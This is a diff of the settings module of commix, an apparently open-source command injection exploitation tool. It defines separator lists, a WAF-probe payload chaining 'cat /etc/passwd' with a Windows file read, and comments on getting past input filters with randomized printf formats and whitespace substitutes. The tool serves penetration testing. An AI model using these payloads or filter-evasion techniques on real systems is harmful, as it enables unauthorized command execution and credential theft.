is_spinner_style or is_done_marker: + data = data + END_LINE.LF + + _stdout_write(data) + sys.stdout.flush() + PROGRESS_LINE_OPEN = is_spinner_style and not has_lf and not is_done_marker + PROGRESS_LINE_DONE = is_done_marker + +""" +Write back onto the line that was left blank the answer that blank stood for. + +An answer taken from a default is an answer the run acted on, and a line showing nothing is a line +that reads, afterwards, as though the question was never settled. Only where there is a terminal to +rewrite: anywhere else the line has already gone. +""" +def echo_default_answer(message, answer): + if answer is None or not sys.stdout.isatty(): + return + with PRINT_LOCK: + # Up one line and clear it - the answer was entered on the line the cursor has just left. + _stdout_write("\033[A\033[2K") + sys.stdout.flush() + print_data_to_stdout(print_message(str(message) + str(answer))) + +""" +Clear the current line before printing, without adding a blank line when already empty. +""" +def clear_current_line(): + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE + with PRINT_LOCK: + if PROGRESS_LINE_OPEN: + sys.stdout.write(END_LINE.LF) + elif not PROGRESS_LINE_DONE: + sys.stdout.write(END_LINE.CR + "\033[K") + sys.stdout.flush() + PROGRESS_LINE_OPEN = False + PROGRESS_LINE_DONE = False + +""" +Take the cursor back to the start of the current line and wipe it, leaving no newline behind. + +What 'clear_current_line' does where nothing is open, asked for by name: a line about to be drawn +again word for word is overwriting itself, not following on from anything, and the newline that +closing an open line would leave is exactly what stacks the two copies up. +""" +def redraw_current_line(): + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE + with PRINT_LOCK: + # A line that closed itself with its own "(done)" took the cursor off it, so the line about to + # be written again is the one above: stepped back onto rather than wiped where the cursor was + # left, which cleared the empty line underneath and stacked the two copies up after all. + if PROGRESS_LINE_DONE: + sys.stdout.write("\033[F") + sys.stdout.write(END_LINE.CR + "\033[K") + sys.stdout.flush() + PROGRESS_LINE_OPEN = False + PROGRESS_LINE_DONE = False -# argv input errors +""" +Close the current spinner line with a trailing newline. +""" +def close_progress_line(): + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE + with PRINT_LOCK: + if PROGRESS_LINE_OPEN: + sys.stdout.write(END_LINE.LF) + sys.stdout.flush() + PROGRESS_LINE_OPEN = False + PROGRESS_LINE_DONE = False + +""" +argv input errors +""" def sys_argv_errors(): _reload_module(sys) try: # Fix for Python 2.7 - sys.setdefaultencoding(UNICODE_ENCODING) + sys.setdefaultencoding(DEFAULT_CODEC) except AttributeError: pass for i in xrange(len(sys.argv)): # Check for illegal (non-console) quote characters. if len(sys.argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0], sys.argv[i][-1])): err_msg = "Illegal (non-console) quote characters ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) - raise SystemExit() + print_data_to_stdout(print_critical_msg(err_msg)) + raise SystemExit(EXIT_FAILURE) # Check for illegal (non-console) comma characters. elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=', 1)[-1]: err_msg = "Illegal (non-console) comma character ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) - raise SystemExit() + print_data_to_stdout(print_critical_msg(err_msg)) + raise SystemExit(EXIT_FAILURE) # Check for potentially miswritten (illegal '=') short option. elif re.search(r"\A-\w=.+", sys.argv[i]): err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) - raise SystemExit() + print_data_to_stdout(print_critical_msg(err_msg)) + raise SystemExit(EXIT_FAILURE) # argv checks sys_argv_checks() @@ -210,115 +506,375 @@ def sys_argv_errors(): """ The global variables. """ -# About -APPLICATION = "commix" DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" -DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.4" -REVISION = "2" +VERSION_NUM = "4.2" +REVISION = "350" + +# How long an install may go without being updated before the run says so at the end. Read off the +# files on disk rather than asked of anyone, so a run that never reaches the network still knows. +LAST_UPDATE_NAGGING_DAYS = 180 + +# How old a stored finding may be before a run that replayed it says so. Read the same way, off the +# file the findings were written to rather than asked of anything. +STALE_SESSION_DAYS = 7 + +# How old the session file was before this run wrote anything to it, or None where there was none. +SESSION_FILE_AGE_DAYS = None STABLE_RELEASE = False +VERSION = "v" if STABLE_RELEASE: - VERSION = "v" + VERSION_NUM + "-stable" + VERSION = VERSION + VERSION_NUM + COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL else: - VERSION = "v" + VERSION_NUM + "-dev#" + REVISION -YEAR = "2014-2021" -AUTHOR_TWITTER = "@ancst" -APPLICATION_URL = "https://commixproject.com" -APPLICATION_TWITTER = "@commixproject" + VERSION = VERSION + VERSION_NUM + ".dev" + REVISION + COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL + +YEAR = "2014-2026" +AUTHOR_X_ACCOUNT = "@ancst" +APPLICATION_URL = "https://commixproject.com" +APPLICATION_X_ACCOUNT = "@commixproject" # Default User-Agent DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")" # Legal Disclaimer -LEGAL_DISCLAIMER_MSG = "Usage of " + APPLICATION + " for attacking targets without prior mutual consent is illegal. " + \ - "It is the end user's responsibility to obey all applicable local, state and federal laws. " + \ - "Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n" +LEGAL_DISCLAIMER_MSG = "Attacking targets without prior mutual consent is illegal. " + \ + "Obeying applicable laws is your responsibility and "+ APPLICATION +" developers assume no liability.\n" # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) - -# Readline +# Names the shell has a meaning of its own for, which a variable of ours must not be drawn as. +# Assigning to one takes that meaning away for the rest of the payload: 'IFS' decides where one +# word ends and the next begins, and is what a whitespace substitute is written out of, so a +# payload that named itself after it separates nothing and reads its own marker back as the gap. +# Spelled in letters only, since the draw below has nothing else to spell them with. +SHELL_OWNED_NAMES = frozenset(( + "IFS", "ENV", "PWD", "OLDPWD", "PATH", "HOME", "SHELL", "TERM", "USER", + "LOGNAME", "MAIL", "MAILPATH", "MAILCHECK", "CDPATH", "UID", "EUID", "GID", + "PPID", "SHLVL", "RANDOM", "SECONDS", "LINENO", "REPLY", "OPTARG", "OPTIND", + "LANG", "TMPDIR", "TZ", "COLUMNS", "LINES", "HISTFILE", "HISTSIZE", "BASH", + "FUNCNAME", "GROUPS", "DIRSTACK", "PIPESTATUS", "HOSTNAME", "HOSTTYPE", + "OSTYPE", "MACHTYPE", "EDITOR", "VISUAL", "PAGER" +)) + +# Random variable name (E-Z only), of a length that leaves the draw room to be a name of its own. +def random_var_name(length=4, alphabet=string.ascii_uppercase[4:]): + while True: + name = ''.join(random.choice(alphabet) for _ in range(length)) + if name not in SHELL_OWNED_NAMES: + return name + +RANDOM_VAR_GENERATOR = random_var_name() +# Random "printf" format for a printed word and the one space it is written with - the octal escape +# and the side the space falls on are each spelled two ways, so a filter refusing the format has no +# one string of it to go by. All four are dash-free: the conversion written "%-s" reads the same to +# "printf", but a target filtering a bare "-" refuses every payload carrying it, and a filter on +# "-" is a thing targets do where one on "%s" alone is not. +RANDOM_PRINTF_FORMAT = random.choice((r"%s\\040", r"%s\\40", r"\\040%s", r"\\40%s")) + +# Path to text resources folder +DATA_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..', 'data')) +TXT_DIR = os.path.join(DATA_DIR, 'txt') + +START_TIME = time.time() + +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + +# Readline READLINE_ERROR = False +# User-applied operating system command +USER_APPLIED_CMD = "" + # Random Tag -RANDOM_TAG = "" +RANDOM_TAG = "" -if RANDOM_TAG == "" : +if RANDOM_TAG == "" : RANDOM_TAG = RANDOM_STRING_GENERATOR # Proxy -PROXY_REGEX = r"((http[^:]*)://)?([\w\-.]+):(\d+)" +# A proxy as it may be written: an optional scheme, optional credentials of its own, an address +# and a port - so that a SOCKS proxy is not read as an HTTP one, and a password is not dropped. +PROXY_REGEX = r"(?i)\A((http[s]?|socks[45])://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)\Z" +# The scheme the proxy itself speaks, which is not the scheme of the target - SCHEME is that one. +PROXY_SCHEME = "" +PROXY_SCHEMES = ("http", "https", "socks4", "socks5") +SOCKS_SCHEMES = ("socks4", "socks5") + +# Auth Credentials format +AUTH_CRED_REGEX = r"^(.*?):(.*?)$" # Inject Tag INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' -#Basic heuristic checks for code injection warnings or... phpinfo page ;) -PHPINFO_PAYLOAD = "eval(phpinfo())" -PHPINFO_CHECK_PAYLOADS = ["print(" + PHPINFO_PAYLOAD + ")", - "test)'}" + PHPINFO_PAYLOAD + "'#", - "'." + PHPINFO_PAYLOAD + ".'", - "{${" + PHPINFO_PAYLOAD + "}}", - "\\\\/{${" + PHPINFO_PAYLOAD + "}}\\/\\" - ] +# Safe characters to keep unescaped in URL paths +SAFE_PATH = "*%/" +# Safe characters to keep unescaped in query strings +SAFE_QUERY = SAFE_PATH + "=?&" + +""" +Characters left unescaped inside a payload. + +Only '%', so that the encoded sequences the payloads write for themselves survive - everything else +is escaped, the '&' and '=' that would otherwise end the parameter the payload travels in included. +The carrier is encoded separately, and keeps those two, being where they do the separating. +""" +SAFE_PAYLOAD = "%" -# Executed phpinfo() -IDENTIFIED_PHPINFO = False -CODE_INJECTION_PHPINFO = r"PHP Version </td><td class=\"v\">(([\w\.]+))" +""" +A query string this long risks being cut off, so characters are given back to it one at a time. + +Servers and proxies put their own limit on a request line, and an encoded payload is several times +the length of what it stands for. These four are legal in a query unencoded, so handing them back +shortens it without changing what the target reads - taken in turn, and only while it is still +over length, so a request that was never near the limit is encoded exactly as any other. +""" +""" +What '--skip-urlencode' still leaves encoded: nothing that a URL can carry as itself. + +Every printable ASCII character bar the space, which a request line cannot hold - so a payload +written with separators, quotes and brackets arrives spelled the way it was written, while a +non-ASCII byte is still encoded and the request stays a valid one. +""" +SKIP_URLENCODE_SAFE_CHARS = "".join(chr(_) for _ in range(33, 127)) + +URLENCODE_CHAR_LIMIT = 2000 +URLENCODE_FAILSAFE_CHARS = "()|," + +""" +Whether '+' is one of the whitespace substitutes this run may use. + +Asked of the whole list rather than its first entry: a tamper script can append a substitute rather +than replace one, and 'multiplespaces' repeats whichever is there - so a run that really does send +'+' for a space had its pluses escaped, and the target read them back as pluses rather than spaces. +""" +def plus_is_whitespace(): + return any(substitute and set(substitute) == set("+") for substitute in WHITESPACES) + +""" +Safe query-string characters; allow '+' only when it is a whitespace substitute in use. +""" +def query_safe_chars(): + if plus_is_whitespace(): + return SAFE_QUERY + "+" + return SAFE_QUERY + +""" +Safe characters inside a payload, as above. +""" +def payload_safe_chars(): + if plus_is_whitespace(): + return SAFE_PAYLOAD + "+" + return SAFE_PAYLOAD -# Code injection warnings +# Default (windows) target host's python interpreter +WIN_PYTHON_INTERPRETER = "python.exe" +WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe" +USER_DEFINED_PYTHON_DIR = False + +# Default (linux) target host's python interpreter +LINUX_PYTHON_INTERPRETER = "python3" +LINUX_CUSTOM_PYTHON_INTERPRETER = "python27" +USER_DEFINED_PYTHON_INTERPRETER = False + +# Feeds 'set /p' from the null device, so its no-newline echo trick gets EOF instead of blocking. +CMD_NUL = "<nul" + +# The substitution that cannot hold another one - see checks.substitution_nests(). +BACKTICK_SUBSTITUTION = "`" +# Said once, where a confirmed pipe cannot carry the retrieval the finding would be read with. +PIPE_RETRIEVAL_NOTICE_GIVEN = False +# The one that can, to go back to where a script that chose otherwise turns out not to apply. +NESTING_SUBSTITUTION = ("$(", ")") +CMD_SUB_PREFIX = "$(" +CMD_SUB_SUFFIX = ")" + +# Sent to be blocked, never to run: read-only and instant, in both shells, chained every way. +WAF_CHECK_PAYLOAD = ";cat /etc/passwd|type C:\\Windows\\win.ini&&dir ../../||$(cat /etc/passwd)" +""" +How much of the ordinary page the answer to that payload has to still resemble before it is taken +for an answer at all. + +A block does not have to arrive as a status code. A filter that answers in-band serves its own +short refusal with a 200, and the application below is never reached - which anything reading the +code alone takes for an ordinary answer, and goes on sending payloads that cannot work. What gives +it away is how little that page resembles what the same target answers an ordinary request with. +""" +WAF_CHECK_RATIO = 0.5 +# What an ordinary request was answered with, kept from the first one of the run for that comparison. +WAF_CHECK_BASELINE = "" +WAF_ENABLED = False +# The product name a blocked response was matched to, via 'WAF_SIGNATURES' - None until (if ever) found. +WAF_IDENTIFIED = None + +class HEURISTIC_TEST(object): + POSITIVE = True + +# Basic command-injection checks, built fresh per parameter with random values and markers. +BASIC_STRING = "" +BASIC_COMMAND_INJECTION_PAYLOADS = [] +ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [] +BASIC_COMMAND_INJECTION_RESULT = "" +# The same, split by the name each repetition printed with, so the one that answered is known. +BASIC_COMMAND_INJECTION_RESULTS = {} +# What the target still printed with, where only one of the two names came back. +PRINTER_ANSWERED = None +IDENTIFIED_COMMAND_INJECTION = False + +""" +Whether the results-based technique asks the target to hand its output back exactly as the command +printed it, rather than as the shell's own word-splitting leaves it. + +Off until the user says otherwise. The exact reading asks 'awk' of the target and spells out +'LC_ALL', 'BEGIN', 'gsub' and 'ARGV' to do it, in a payload three times the length of the plain +one - every one of those a word a filter can be watching for, and a payload that never runs where +one is. The plain reading carries 'echo' and a substitution and nothing else, so that is what goes +out unless the user asks, before the first command, for the exact one. + +Turned off again for the rest of this target where the exact reading is not answered at all, which +is how a filter refusing it answers. +""" +RESULTS_BASED_EXACT_OUTPUT = False + +# The answer to that question, kept for the rest of the target: asked once, before the first command +# the user asked for, rather than once per command. +EXACT_OUTPUT_CHOICE = None + +# Set once detection is over and the commands the user asked for begin - the moment the question +# above is put, rather than during the commands this run sends of its own (a web root, a shell type). +EXPLOITATION_STARTED = False + +# Whether payloads that print a command's output print it with 'echo' rather than 'printf'. Set by +# the tamper script that trades one for the other, for a target that refuses 'printf' by name. +PRINT_WITH_ECHO = False + +# Whether the target has 'awk', asked by name and without running it - there is no exact reading to +# offer where it does not, so the question is not put at all. +AWK_PRESENCE_CHECK = "command -v awk" + +# What the target is asked to put in place of the line breaks its output carries, so that the output +# arrives as the single line the markers are looked for on. A sink handing back only the last line +# of what it ran - which is most of them, 'exec()' in PHP among them - answers with nothing at all +# where a break of its own went out, so the breaks cannot travel as themselves. Marked instead and +# put back once what is between the markers has been taken, the way the page's own breaks already +# are. Made once for the run, out of the letters a shell, a page and its encoding all hand back +# unchanged. +RESULTS_BASED_LF_MARKER = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) +RESULTS_BASED_CR_MARKER = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + +# Basic heuristic checks for code injection: the probe that says code was evaluated, what its +# answer looks like coming back, and the interpreter's own complaints that give the same away. +# All of it belongs to the language, so it is read from its module under 'src/core/eval'. +EVAL_PROBE_PAYLOADS = EVAL_GRAMMAR.PROBE_PAYLOADS +EVAL_PROBE_REGEX = EVAL_GRAMMAR.PROBE_REGEX +EVAL_WARNINGS = EVAL_GRAMMAR.WARNINGS + +# The probe answered, or the interpreter complained. +IDENTIFIED_EVAL_PROBE = False IDENTIFIED_WARNINGS = False -CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort", "assert", "preg_replace"] SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -# User-defined stored post data. +# User-defined stored POST data. USER_DEFINED_POST_DATA = "" - -# The wildcard character -WILDCARD_CHAR = "*" - -# Testable parameter(s) - comma separated. -TEST_PARAMETER = "" - -# Skip testing for given parameter(s) - comma separated. -SKIP_PARAMETER = "" +# Ignore user-defined stored POST data. +IGNORE_USER_DEFINED_POST_DATA = False + +# Custom injection marker +CUSTOM_INJECTION_MARKER_CHAR = "*" +CUSTOM_INJECTION_MARKER = False +ASTERISK_MARKER = "__ASTERISK__" +CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] +PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +POST_CUSTOM_INJECTION_MARKER_CHAR = "" +# Patterns that legitimately contain '*' (e.g. 'Accept: */*'). +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" + +class INJECTION_MARKER_LOCATION(object): + URL = False + DATA = False + COOKIE = False + HTTP_HEADERS = False + CUSTOM_HTTP_HEADERS = False + +SKIP_NON_CUSTOM_PARAMS = None + +TESTABLE_PARAMETERS_LIST = [] +SKIP_PARAMETERS_LIST = [] +TESTABLE_PARAMETERS = None +NOT_TESTABLE_PARAMETERS = True +TESTED_PARAMETERS_LIST = [] +METHODS_WITH_NON_LISTED_PARAMS = [] # Use a proxy to connect to the target URL. SCHEME = "" -# Default target host OS (Unix-like) -TARGET_OS = "unix" +class OS(object): + UNIX = "unix" + WINDOWS = "windows" -# Verbosity level: 0-1 (default 0) -VERBOSITY_LEVEL = 0 +# Default target host OS (Unix-like) +TARGET_OS = OS.UNIX -# Local HTTP server ip -LOCAL_HTTP_IP = "" +IDENTIFIED_TARGET_OS = False +IGNORE_IDENTIFIED_TARGET_OS = None -# Local HTTP server port -LOCAL_HTTP_PORT = random.randint(50000,60000) +# Verbosity level (0-4, Default: 0) +VERBOSITY_LEVEL = 0 # Detection / Exploitation phase(s) DETECTION_PHASE = False EXPLOITATION_PHASE = False +# Prevent the shell from interpreting the redirection operators. +NO_OUTPUT = ">/dev/null 2>&1" + # Exploitation techniques states -CLASSIC_STATE = False +RESULTS_BASED_STATE = False EVAL_BASED_STATE = False TIME_BASED_STATE = False FILE_BASED_STATE = False TEMPFILE_BASED_STATE = False -TIME_RELATIVE_ATTACK = False +OOB_STATE = False + +""" +The technique being tested right now, asked about by whatever needs to know what is carrying a +command - how a file is worth fetching, say, which is one answer for a technique that gets the +whole of it at once and another for one that pays per byte. + +Held per thread, with the last one announced anywhere as the fallback: several workers share a run, +and which technique one of them is on says nothing about what another is doing. Read off a single +name, a worker asks its question about whichever technique some other worker happened to announce +last - and a caller that knows which one it means should pass it rather than ask at all. +""" +CURRENT_TECHNIQUE = None +_CURRENT_TECHNIQUE = _threading.local() + +# Mark this thread as testing the technique named, and leave it as the run's own last word on it. +def set_technique(technique): + global CURRENT_TECHNIQUE + _CURRENT_TECHNIQUE.name = technique + CURRENT_TECHNIQUE = technique + +# What this thread is on, or the last one announced where this thread has announced nothing itself. +def current_technique(): + return getattr(_CURRENT_TECHNIQUE, "name", None) or CURRENT_TECHNIQUE +TIME_RELATED_ATTACK = False +TIME_RELATED_ATTACK_WARNING = False +LAST_COMPLETED_TECHNIQUE = None +LAST_DOT_BUCKET = -1 # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" -# Check if OS is Windows. -IS_WINDOWS = hasattr(sys, "getwindowsversion") +# The name of the operating system dependent module imported. +PLATFORM = os.name +IS_WINDOWS = PLATFORM == "nt" # Git URL. GIT_URL = "https://github.com/commixproject/" + APPLICATION + ".git" @@ -326,8 +882,10 @@ def sys_argv_errors(): # Git issue URL. ISSUES_PAGE = "https://github.com/commixproject/" + APPLICATION + "/issues/new" +COMMIX_ROOT_PATH = os.path.abspath(os.curdir) + # Output Directory -OUTPUT_DIR = ".output/" +OUTPUT_DIR = ".output/" # Output file name OUTPUT_FILE_NAME = "logs" @@ -336,49 +894,319 @@ def sys_argv_errors(): OUTPUT_FILE_EXT = ".txt" OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT -# Max Length. -MAXLEN = "10000" +# Max Length for execution output. +MAXLEN = 10000 +# How long an output is allowed to be said to be before the answer is disbelieved rather than +# trusted - a bound on what is plausible, not on what is read. An oracle that answers yes to +# everything would otherwise double its way up for as long as the arithmetic holds. +MAX_INFERRED_LENGTH = 50 * 1024 * 1024 + +# The factor the length search grows its bracket by before halving it back. Larger reaches a long +# output in fewer steps, at the cost of a wider bracket to halve - and measured across the lengths +# worth reading, four is where the two balance, saving several probes on a large output for at most +# one more on the smallest. +LENGTH_SEARCH_BASE = 4 + +STDIN_PARSING = False + +# How far the target's own answers may spread before a delay read against them is unreliable. +# What makes a time-related answer hard to read is the times moving about, not how long they are: +# a target that always takes the same three seconds tells a delay apart as cleanly as a fast one, +# while one whose answers swing by seconds hides the delay inside its own spread. +SLOW_TARGET_RESPONSE_STDEV = 0.5 + +# Number of samples estimate_response_time() takes the median of. +RESPONSE_TIME_SAMPLES = 3 + +# Pre-injection baseline - the target's own round-trip time before any delay logic runs. +URL_TIME_RESPONSE = 0 + +# The delay settled on for this target, kept so every parameter after the first reads it rather +# than measuring the same target again. +ESTIMATED_TIMESEC = None +# (url, http_request_method) the response-time baseline is sampled from, filled in on first use. +BASELINE_TARGET = None +# Last reported minimum safe delay, so the same floor is announced only once. +REPORTED_MIN_SAFE_TIMESEC = None + +# Cache url_response()'s connection-test timing for reuse by estimate_response_time(). +INIT_CONNECTION_TIME = None + +# When that connection-test response was fetched (time.time()). +INIT_CONNECTION_FETCH_TIME = None -# Maximum response total page size (trimmed if larger) -MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 +# URL actually used for that request (may carry the WAF probe marker). +INIT_CONNECTION_URL = None -# Slow target response. -SLOW_TARGET_RESPONSE = 3 +# Max wait before re-checking page stability. +STABILITY_CHECK_DELAY = 0.5 -# The testable parameter. -TESTABLE_PARAMETER = "" +# Below this similarity ratio, two page fetches count as "dynamic". +STABILITY_SIMILARITY_THRESHOLD = 0.98 +# Largest pair of pages still read character by character, rather than by their length alone. +MAX_COMPARISON_LENGTH = 10 * 1024 * 1024 + +# The two pages a question with a known answer came back with, kept so that every later answer is +# read against them rather than against a threshold - what a condition changes can be two characters +# of a page that is otherwise thousands, which no ratio of the whole would notice. +# What a Windows payload prints when its test holds, made once for the run. cmd.exe carries no exit +# status back to a page that only shows what a command printed, so the answer has to be printable. +BOOLEAN_MARKER = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + +# Whether the answer is read off a marker the payload printed rather than off the page the target +# branched into - settled per target, and only where branching was shown to say nothing. +BOOLEAN_PRINTED_STATE = False + +# Said once for the run, where a retrieval is being made a byte at a time on a single thread. +BOOLEAN_THREADS_SUGGESTED = False + +# Said once for the run, the first time the tempfile-based technique reads its created file through +# a calibrated oracle instead of through a delay. +TEMPFILE_ORACLE_ANNOUNCED = False + +# Said once for the run, where no oracle could be calibrated and the created file is read through +# a delay instead - the other half of the notice above. +TEMPFILE_TIME_FALLBACK_ANNOUNCED = False + +# The two answers as they arrived, kept beside their comparable forms so that what tells them apart +# can be quoted back as an option the next run can be given. +BOOLEAN_TRUE_CODE = None +BOOLEAN_FALSE_CODE = None + +BOOLEAN_TRUE_RAW = None +BOOLEAN_FALSE_RAW = None + +BOOLEAN_TRUE_PAGE = None +BOOLEAN_FALSE_PAGE = None + +# The raw length of the two calibration pages, read alongside them - what '--lengths' (and +# '--null-connection', which has no body to compare at all) bisects on instead of page content. +BOOLEAN_TRUE_LENGTH = None +BOOLEAN_FALSE_LENGTH = None + +# Whether '--null-connection' is worth it here: established once, from the first calibration page, +# since the "skip the body, pay a fresh connection instead" trade only wins past a minimum size. +NULL_CONNECTION_WORTHWHILE = None +NULL_CONNECTION_MIN_LENGTH = 32768 + +# One-time "reflected value(s) found" notice already shown this run. +REFLECTIVE_VALUE_FOUND = False + +# What stands in for a reflected payload once it is taken out of a page - a marker of its own rather +# than the text it replaces, so two pages whose payloads differ in length still read as one page +# where the reflection was the only thing telling them apart. +REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" + +# A run of anything but a newline, standing in for whatever the target put between the payload's own +# alphanumeric runs: a '+' where a space went in, an entity for a character it escaped, a space of +# another width. The payload that comes back is rarely the payload that went out. +REFLECTED_GAP_REGEX = r"[^\n]{1,168}?" + +# How many of those runs the pattern is built from, taken half from each end past it - one segment +# per run leaves a pattern with a page's worth of positions to try for every one of them. +REFLECTED_MAX_PATTERN_PARTS = 10 + +# How much longer than the payload a match may be before it is left alone. A payload's own +# alphanumeric runs are words a page says for itself - the value that was sent back, 'echo', a tag - +# and a pattern made of them matches those scattered across unrelated text as readily as the +# reflection. Escaping stretches a reflection; it does not stretch it into paragraphs. +REFLECTED_MAX_LENGTH_FACTOR = 4 +REFLECTED_LENGTH_ALLOWANCE = 32 + +# Whether the caveat about an evaluated finding that a shell could equally explain has been given. +EVAL_OVER_SHELL_SAID = False + + +RESPONSE_DELAYS = False + +TESTABLE_VALUE = "" + +# Whether TESTABLE_VALUE has already been swapped for a disposable placeholder for this parameter. +TESTABLE_VALUE_OPTIMIZED = False + +# What the early probe put aside when it dropped the parameter's own value: the value, what stands in +# for it, and the request as it read beforehand - so a pass that confirms nothing can be made again +# with the value back in place rather than written off on the strength of an optimisation. +VALUE_SKIPPED_EARLY = None + +# The parameter's own value, kept where a short random one stands in for it, so that what is +# written out at the end reads as the value the target was given rather than as the stand-in. +TESTABLE_VALUE_STOOD_IN_FOR = "" + +# Set once the value has been put back and the pass made again, so the probe does not drop it a +# second time and send the run round the same loop. +VALUE_SKIP_REFUSED = False + +""" +Whether the payload stands in place of the parameter's own value rather than behind it. + +Behind it is the shape nearly every sink wants: what the application built around the value is still +there, and the payload chains onto the end of it. A sink that reads the value's own first byte is the +exception - an interpreter's two-argument open() handed a leading '|' runs what follows as a command, +and a value in front of that pipe is read as a filename instead - so there the value has to go. +""" +REPLACE_VALUE = False + +# Asked once for the run, like the whitespace and dash retries' own answers. +REPLACE_VALUE_RETRY_CHOICE = None + +# The techniques the run was given, kept for the parameters that follow one tested with fewer. +TECHNIQUES_BEFORE_NARROWING = None + +# Whether the file-based technique was accepted for a run given a document root but other techniques. +FILE_BASED_NARROWING_CHOICE = None + +""" +Whether going around a filtered whitespace was accepted, asked once and held for the run. + +Every technique is sent around again for it, so the pass costs about what the one before it did - +worth offering rather than spending unannounced, and worth asking only once, since the answer is +about the target's own filter rather than about any one technique that just came back empty. +""" +WHITESPACE_RETRY_CHOICE = None +# Whether the temporary directory was already accepted or refused for this run. +TEMP_FOLDER_CHOICE = None +# The same consent, asked about a filter built around '-' rather than around whitespace. +DASHLESS_RETRY_CHOICE = None +# And again for one built around the name and the format every payload prints with. +PRINTER_RETRY_CHOICE = None +# And the same again for one built around '$', which is what every command substitution this writes +# is opened with - and what the whitespace pass above reaches for first, in '${IFS}'. +BACKTICK_RETRY_CHOICE = None # The HTTP header name. HTTP_HEADER = "" -# The command injection prefixes. -PREFIXES = ["", " ", "'", "\"", "&", "%26", "|", "%7C", "%27", "%22", "'%26"] +EXTRA_HTTP_HEADERS = False -# The command injection separators. -SEPARATORS = ["", ";", "%3B", "&", "%26", "%1a", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", "%0a", "%0d%0a"] +# Use the full printable ASCII range; bisection only depends on ordinal bounds. +CHAR_POOL_SINGLE = list(range(32, 127)) +# The largest ordinal a byte can be. The pools below stop at printable ASCII, which is what output +# mostly is - a byte above that is searched for only once the pool has been ruled out. +HIGHEST_BYTE = 255 +# The smallest, for a byte that sits under the pool's first character the same way. +LOWEST_BYTE = 0 -# The command injection suffixes. -SUFFIXES = ["", "'", "\"", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", " #", "//", "\\\\", "%26'", "%27", "%22", "%5C%5C", "%2F%2F"] +# How a byte the page's own encoding cannot read is written down instead, so that it is still the +# byte that was sent - and the error handler that writes it that way. +UNREADABLE_BYTE_FORMAT = "\\x%02x" +UNREADABLE_BYTE_HANDLER = "commix-keep-bytes" +# The same thing read back: only a byte past ASCII is ever written out this way. +UNREADABLE_BYTE_REGEX = r"\\x([89a-fA-F][0-9a-fA-F])" -# Bad combination of prefix and separator -JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] +# Newline and tab are part of real command output, so they have to be recoverable too. +CHAR_POOL_MULTI = [9, 10] + list(range(32, 127)) -# Execution functions -EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] +""" +The command injection separators, as the shell reads them rather than as a URL spells them. -# The code injection prefixes. -EVAL_PREFIXES = [".", "", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] +Written out here and encoded once at the end, where a payload meets the thing that carries it - +so what a payload is made of stays readable, nothing has to remember which half of it was already +escaped, and a character that is not a separator at all can be escaped without disturbing one that +is. It also means '%' is a per-cent sign here, not the start of an escape. +""" +SEPARATORS = [] +DEFAULT_SEPARATORS = [";", "&", "|", ""] +# cmd.exe's end-of-file. A separator only there, but a suffix on either target. +CTRL_Z = "\x1a" +SPECIAL_SEPARATORS = ["&&", "||", "\n", "\r\n", CTRL_Z] +SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS +SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 -# The code injection separators. -EVAL_SEPARATORS = ["", "%0a", "\\n", "%0d%0a", "\\r\\n"] +""" +The command injection prefixes and suffixes. -# The code injection suffixes. -EVAL_SUFFIXES = ["", "}}", ".\"", ".'", "", "\\\\", "//", "#", ")}"] +A quote is carried from the first level, as the reference carries one in its own. The commonest +shape a real sink has is a value spliced into a quoted string, and a boundary that never opens the +quote reaches none of them - held back to a level nobody runs by default, those targets are +reported as not injectable, which is true of what was tried and false of the target. -# The default (url-ecoded) white-space. -WHITESPACES = ["%20"] +It costs little: a quote suffix is kept only beside its own 